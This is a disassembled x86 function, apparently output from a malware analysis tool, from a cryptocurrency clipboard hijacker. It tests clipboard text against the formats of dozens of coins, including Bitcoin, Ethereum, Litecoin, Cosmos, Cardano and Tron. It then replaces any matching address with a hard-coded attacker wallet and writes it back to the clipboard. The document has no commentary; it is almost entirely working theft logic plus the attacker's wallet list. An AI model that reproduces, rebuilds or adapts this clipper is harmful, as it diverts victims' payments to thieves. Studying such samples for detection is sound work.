Function at 0x4048a0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov byte [ebp - 0x11], 1
mov dword [ebp - 8], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x30
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x54
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x33
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x74
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x73
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x62
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x58
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x44
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x4c
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x72
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x68
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x51
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x52
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4e
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x43
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x76
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x64
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x67
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6e
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x41
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6c
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x7a
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x63
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x71
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x63
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x38
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x53
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x61
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x6b
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x69
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x66
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x65
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6f
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
je 0x404ae9
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
je 0x404ae9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
je 0x404ae9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
je 0x404ae9
xor al, al
jmp 0x405507
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x30
jne 0x404b06
cmp dword [ebp - 4], 0x2a
je 0x404b01
xor al, al
jmp 0x405507
jmp 0x404d5e
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x33
jne 0x404b29
cmp dword [ebp - 4], 0x19
jb 0x404b1d
cmp dword [ebp - 4], 0x23
jbe 0x404b24
xor al, al
jmp 0x405507
jmp 0x404d5e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x31
jne 0x404b4c
cmp dword [ebp - 4], 0x19
jb 0x404b40
cmp dword [ebp - 4], 0x30
jbe 0x404b47
xor al, al
jmp 0x405507
jmp 0x404d5e
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x34
je 0x404b62
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x38
jne 0x404b74
cmp dword [ebp - 4], 0x5f
je 0x404b6f
xor al, al
jmp 0x405507
jmp 0x404d5e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
jne 0x404b97
cmp dword [ebp - 4], 0x1a
jb 0x404b8b
cmp dword [ebp - 4], 0x26
jbe 0x404b92
xor al, al
jmp 0x405507
jmp 0x404d5e
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
jne 0x404bba
cmp dword [ebp - 4], 0x18
jb 0x404bae
cmp dword [ebp - 4], 0x32
jbe 0x404bb5
xor al, al
jmp 0x405507
jmp 0x404d5e
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x65
jne 0x404bdd
cmp dword [ebp - 4], 0x3c
jb 0x404bd1
cmp dword [ebp - 4], 0x40
jbe 0x404bd8
xor al, al
jmp 0x405507
jmp 0x404d5e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6e
jne 0x404c00
cmp dword [ebp - 4], 0x23
jb 0x404bf4
cmp dword [ebp - 4], 0x46
jbe 0x404bfb
xor al, al
jmp 0x405507
jmp 0x404d5e
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x43
jne 0x404c23
cmp dword [ebp - 4], 0x2d
jb 0x404c17
cmp dword [ebp - 4], 0x2f
jbe 0x404c1e
xor al, al
jmp 0x405507
jmp 0x404d5e
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x66
jne 0x404c46
cmp dword [ebp - 4], 0x29
jb 0x404c3a
cmp dword [ebp - 4], 0x41
jbe 0x404c41
xor al, al
jmp 0x405507
jmp 0x404d5e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
jne 0x404c69
cmp dword [ebp - 4], 9
jb 0x404c5d
cmp dword [ebp - 4], 0x3c
jbe 0x404c64
xor al, al
jmp 0x405507
jmp 0x404d5e
push 0x410330
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404c94
cmp dword [ebp - 4], 0x32
jb 0x404c88
cmp dword [ebp - 4], 0x38
jbe 0x404c8f
xor al, al
jmp 0x405507
jmp 0x404d5e
push 0x41034c
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404cbf
cmp dword [ebp - 4], 0x2a
jb 0x404cb3
cmp dword [ebp - 4], 0x30
jbe 0x404cba
xor al, al
jmp 0x405507
jmp 0x404d5e
push 0x41035c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404ce7
cmp dword [ebp - 4], 0x3c
jb 0x404cde
cmp dword [ebp - 4], 0x78
jbe 0x404ce5
xor al, al
jmp 0x405507
jmp 0x404d5e
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
jne 0x404d11
cmp dword [ebp - 4], 0x30
jne 0x404cfc
mov byte [ebp - 0x11], 0
cmp dword [ebp - 4], 9
jb 0x404d08
cmp dword [ebp - 4], 0x30
jbe 0x404d0f
xor al, al
jmp 0x405507
jmp 0x404d5e
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x55
jne 0x404d2b
cmp dword [ebp - 4], 9
je 0x404d29
xor al, al
jmp 0x405507
jmp 0x404d5e
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x42
jne 0x404d4b
cmp dword [ebp - 4], 9
jb 0x404d42
cmp dword [ebp - 4], 0x3c
jbe 0x404d49
xor al, al
jmp 0x405507
jmp 0x404d5e
cmp dword [ebp - 4], 0x15
jb 0x404d57
cmp dword [ebp - 4], 0x38
jbe 0x404d5e
xor al, al
jmp 0x405507
push 0x410368
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404d75
mov byte [ebp - 0x11], 0
push 0x410384
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404d8c
mov byte [ebp - 0x11], 0
push 0x410394
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x404da3
mov byte [ebp - 0x11], 0
movzx ecx, byte [ebp - 0x11]
cmp ecx, 1
jne 0x404e43
mov dword [ebp - 0x1c], 0
jmp 0x404dc2
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 4]
jae 0x404e43
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x31
jne 0x404e09
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x4f
je 0x404e02
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x49
je 0x404e02
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
cmp edx, 0x6c
jne 0x404e09
xor al, al
jmp 0x405507
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
push edx
call sub.ntdll.dll_isalpha
add esp, 4
test eax, eax
jne 0x404e3e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + eax*2]
push edx
call sub.ntdll.dll_isdigit
add esp, 4
test eax, eax
jne 0x404e3e
xor al, al
jmp 0x405507
jmp 0x404db9
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x30
jne 0x404e55
mov dword [ebp - 8], str.0xCa90599132C4D88907Bd8E046540284aa468a035
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x54
jne 0x404e67
mov dword [ebp - 8], str.TRuGGXNDM1cavQ1AqMQHG8yfxP4QWVSMN6
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x71
jne 0x404e79
mov dword [ebp - 8], str.qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x58
jne 0x404e8b
mov dword [ebp - 8], str.XryzFMFVpDUvU7famUGf214EXD3xNUSmQf
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x4c
jne 0x404e9d
mov dword [ebp - 8], str.LLeT2zkStY3cvxMBFhoWXkG5VuZPoezduv
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x72
jne 0x404eaf
mov dword [ebp - 8], str.rwc4LVd9ABpULQ1CuCpDkgX2xVB1fUijyb
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x68
jne 0x404ec1
mov dword [ebp - 8], str.hxea3dcc10944cee2544aff9b377e0479d7f797494
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x51
jne 0x404ed3
mov dword [ebp - 8], str.QaBvbNAuoU52qCgbqsgoLAbK5P21L6dn5Y
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x52
jne 0x404ee5
mov dword [ebp - 8], str.RLefLLmDAZZb5ZynfPMjZ475pQdHVZNz9J
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x4e
jne 0x404ef7
mov dword [ebp - 8], str.NASUHUTM7J5HNOJVZ2EULOP6INPNPSE4KN6AQNRI
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x43
jne 0x404f09
mov dword [ebp - 8], str.Cz6xMbBst86mjM44qAaE5ahkD3F8JpLY7LFGHMiKYzwS6mn
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x76
jne 0x404f1b
mov dword [ebp - 8], str.via1qs8zt7jr4sgru6r8dqtdpc93c5d8wmwu8rkz94z
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x64
jne 0x404f2d
mov dword [ebp - 8], str.dgb1qnyphwne0t26mmxh2amyzzxzerxarj6jmf8wpmr
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x67
jne 0x404f3f
mov dword [ebp - 8], str.grs1qscr354fdfddglta2hgajrcryl4gqh6ey360d3u
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x41
jne 0x404f51
mov dword [ebp - 8], str.NYrK5XBV24JHrojN4ABNkZxNsDEcegofxc
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6e
jne 0x404f63
mov dword [ebp - 8], str.n1HHGP3YmZp3YA7VgqVgfJqyKBV86d9SaJo
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x34
jne 0x404f75
mov dword [ebp - 8], str.48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x38
jne 0x404f87
mov dword [ebp - 8], str.82gtgWB2n6yPeqTrAsvDunAH7cbbiTYw1ccN6FvPPHEFNLcBoQUWTx5SoWSHayK8ViH7WzMgVoYQLQzGxQhrTvzRDU32z8t
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x53
jne 0x404fa5
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x50
jne 0x404fa5
mov dword [ebp - 8], str.SP1GK1GES8EXB6E15KQJ0EM169NQQNDZG8A2GDRZQ
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x61
jne 0x404fc3
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x64
je 0x404fc3
mov dword [ebp - 8], str.aPFoyg69vKYCfnKGo1eLBo5XAmoyuZniGc
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x66
jne 0x404fea
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x31
jne 0x404fe3
mov dword [ebp - 8], str.f1sz5wwh6urr3gsycgkki7ns5iino3a7bu3chsgly
jmp 0x404fea
mov dword [ebp - 8], str.f53ea9bd3352fd3b24be04fa27ce2171b21d1378e658c50553d804cfa70ceb64
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x31
jne 0x40500b
cmp dword [ebp - 4], 0x30
jne 0x405004
mov dword [ebp - 8], str.15TssKwtjMtwy4vDLcLsQUZUD2B9f7eDjw85sBNVC5LRPPnC
jmp 0x40500b
mov dword [ebp - 8], str.17hgMFyLDwMjxWqw5GhijhnPdJDyFDqecY
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6c
jne 0x405054
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x73
jne 0x405035
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x6b
jne 0x405035
mov dword [ebp - 8], str.lskaj7asu8rwp4p9kpdqebnqh6kzyuefzqjszyd5w
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x74
jne 0x405054
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x63
jne 0x405054
mov dword [ebp - 8], str.ltc1qt0n3f0t7vz9k0mvcswk477shrxwjhf9sj5ykrp
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x7a
jne 0x40507e
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x69
jne 0x40507e
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x6c
jne 0x40507e
mov dword [ebp - 8], str.zil19delrukejtr306u0s7ludxrwk434jcl6ghpng3
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x63
jne 0x4050a8
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x72
jne 0x4050a8
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x6f
jne 0x4050a8
mov dword [ebp - 8], str.cro1xq0gkfldclds7y7fa2x6x25zu7ttnxxkjs66gf
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x65
jne 0x4050d2
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x72
jne 0x4050d2
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x64
jne 0x4050d2
mov dword [ebp - 8], str.erd1hwcnscv0tldljl68upajgfqrcrmtznth4n6ee46le43cqpe5tatqw96dnx
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x6b
jne 0x405108
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x61
jne 0x405108
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x76
jne 0x405108
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 6]
cmp ecx, 0x61
jne 0x405108
mov dword [ebp - 8], str.kava1r9xek0h0vkfra44lg3rp07teh9elxg2n6vsdzn
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x69
jne 0x405132
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x6e
jne 0x405132
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x6a
jne 0x405132
mov dword [ebp - 8], str.inj1e2g9nyfjcnvgjpaa3czx2spgf2jx3gp4gk0nl9
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x6f
jne 0x405189
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x73
jne 0x40516a
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x6d
jne 0x40516a
mov edx, dword [ebp + 8]
movzx eax, word [edx + 6]
cmp eax, 0x6f
jne 0x40516a
mov dword [ebp - 8], str.osmo125f3mw4xd9htpsq4zj5w5ezm5gags37y6pnhx3
jmp 0x405189
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x6e
jne 0x405189
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x65
jne 0x405189
mov dword [ebp - 8], str.one1mnk7lk2506r0ewvr7zgwfuyt7ahvngwqedka3x
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x33
jne 0x4051b0
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x50
jne 0x4051a9
mov dword [ebp - 8], str.3PMiLynrGVZ8oEqvoqC4hXD67B1WoALR4pc
jmp 0x4051b0
mov dword [ebp - 8], str.3FerB8kUraAVGCVCNkgv57zTBjUGjAUkU3
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x44
jne 0x4051d7
cmp dword [ebp - 4], 0x22
jne 0x4051ca
mov dword [ebp - 8], str.DLUzwvyxN1RrwjByUPPzVMdfxNRPGVRMMA
jmp 0x4051d7
cmp dword [ebp - 4], 0x23
jne 0x4051d7
mov dword [ebp - 8], str.DsWwjQcpgo8AoFYvFnLrwFpcx8wgjSYLexe
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x74
jne 0x405274
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x31
je 0x4051fe
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x32
jne 0x405207
mov dword [ebp - 8], str.t1J6GCPCiHW1eRdjJgDDu6b1vSVmL5U7Twh
jmp 0x405274
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x65
jne 0x405240
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x72
jne 0x405240
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 6]
cmp ecx, 0x72
jne 0x405240
mov edx, dword [ebp + 8]
movzx eax, word [edx + 8]
cmp eax, 0x61
jne 0x405240
mov dword [ebp - 8], str.terra1mw3dhwak2qe46drv4g7lvgwn79fzm8nr0htdq5
jmp 0x405274
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 2]
cmp edx, 0x68
jne 0x40526d
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 4]
cmp ecx, 0x6f
jne 0x40526d
mov edx, dword [ebp + 8]
movzx eax, word [edx + 6]
cmp eax, 0x72
jne 0x40526d
mov dword [ebp - 8], str.thor1tdexg3v738xg9n289d6586frflkkcxxdgtauur
jmp 0x405274
mov dword [ebp - 8], str.tz1ZUNuZkWjdTt597axUcyZ5kFRtUZmUKuG2
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x73
jne 0x4052f8
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 2]
cmp ecx, 0x74
jne 0x4052b8
mov edx, dword [ebp + 8]
movzx eax, word [edx + 4]
cmp eax, 0x61
jne 0x4052b8
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 6]
cmp edx, 0x72
jne 0x4052b8
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 8]
cmp ecx, 0x73
jne 0x4052b8
mov dword [ebp - 8], str.stars125f3mw4xd9htpsq4zj5w5ezm5gags37yxxh6mj
jmp 0x4052f8
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x74
jne 0x4052f1
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x72
jne 0x4052f1
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 6]
cmp ecx, 0x69
jne 0x4052f1
mov edx, dword [ebp + 8]
movzx eax, word [edx + 8]
cmp eax, 0x64
jne 0x4052f1
mov dword [ebp - 8], str.stride125f3mw4xd9htpsq4zj5w5ezm5gags37y33qmy0
jmp 0x4052f8
mov dword [ebp - 8], str.sei125f3mw4xd9htpsq4zj5w5ezm5gags37ylk33kz
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x62
jne 0x405351
push 0x410b68
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40531d
mov dword [ebp - 8], str.bnb1epx67ne4vckqmaj4gwke8m322f4yjr6eh52wqw
push str.band
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405337
mov dword [ebp - 8], str.band1f05d98dvehkecw6ex3yd4pxqssw3uemx09sg2n
push 0x410bd4
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405351
mov dword [ebp - 8], str.bc1qmpkehfffkr6phuklsksnd7nhgx0369sxu772m3
push str.ronin:
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40536b
mov dword [ebp - 8], str.ronin:a77fa3ea6e09a5f3fbfcb2a42fe21b5cf0ecdd17
push str.bitcoincash:
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x405385
mov dword [ebp - 8], str.bitcoincash:qph44jx8r9k5xeq5cuf958krv3ewrnp5vc6hhdjd3r
push str.cosmos
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x40539f
mov dword [ebp - 8], str.cosmos125f3mw4xd9htpsq4zj5w5ezm5gags37yj6q8sr
push str.addr
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4053b9
mov dword [ebp - 8], str.addr1qxlwyj95fk9exqf55tdknx49e5443nr925tajatrdqpp8djla7u9jhswc3dk39se79f9zhwwq2ca95er3mylm48wyalqr62dmg
push str.nano_
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x4053d3
mov dword [ebp - 8], str.nano_3p8stz4wqicgda1g3ifd48girzd5u74is8sdqq99tkuuz1b96wjwbc7yrmnb
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x47
jne 0x405403
cmp dword [ebp - 4], 9
jne 0x4053ed
mov dword [ebp - 8], str.G35598989
jmp 0x405403
cmp dword [ebp - 4], 0x38
jne 0x4053fc
mov dword [ebp - 8], str.GBQJMXYXPRIWFMXIFJR35ZB7LRKMB4PHCIUAUFR3TKUL6RDBZVLZEUJ3
jmp 0x405403
mov dword [ebp - 8], str.Ge7amzjabAHdubjUYS2Cw84hNScLVRHmHg
mov ecx, dword [ebp + 8]
movzx edx, word [ecx]
cmp edx, 0x45
jne 0x405428
cmp dword [ebp - 4], 9
jne 0x40541b
mov dword [ebp - 8], str.E36963824
cmp dword [ebp - 4], 0x30
jne 0x405428
mov dword [ebp - 8], str.EQDYiebztC06Lpo9y1_m_g_bOsJ2KN3I_1mOgllNNIlIPZLi
mov eax, dword [ebp + 8]
movzx ecx, word [eax]
cmp ecx, 0x42
jne 0x40546d
cmp dword [ebp - 4], 9
jne 0x405442
mov dword [ebp - 8], str.B36461211
jmp 0x40546d
mov edx, dword [ebp + 8]
movzx eax, word [edx + 2]
cmp eax, 0x36
jne 0x40546d
mov ecx, dword [ebp + 8]
movzx edx, word [ecx + 4]
cmp edx, 0x32
jne 0x40546d
mov eax, dword [ebp + 8]
movzx ecx, word [eax + 6]
cmp ecx, 0x71
jne 0x40546d
mov dword [ebp - 8], str.B62qpDfv86fUZc4ntrYJL6eFJZajjNKRcBuW5iPbcLNkiPekLkV8NdA
mov edx, dword [ebp + 8]
movzx eax, word [edx]
cmp eax, 0x55
jne 0x40547f
mov dword [ebp - 8], str.U33390790
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x405505
mov edx, dword [ebp - 0xc]
add edx, 1
push edx
push 0x2002
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x405505
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x405505
mov ecx, dword [ebp - 0xc]
add ecx, 1
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x405505
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov edx, dword [ebp - 0x18]
push edx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov al, 1
mov esp, ebp
pop ebp
ret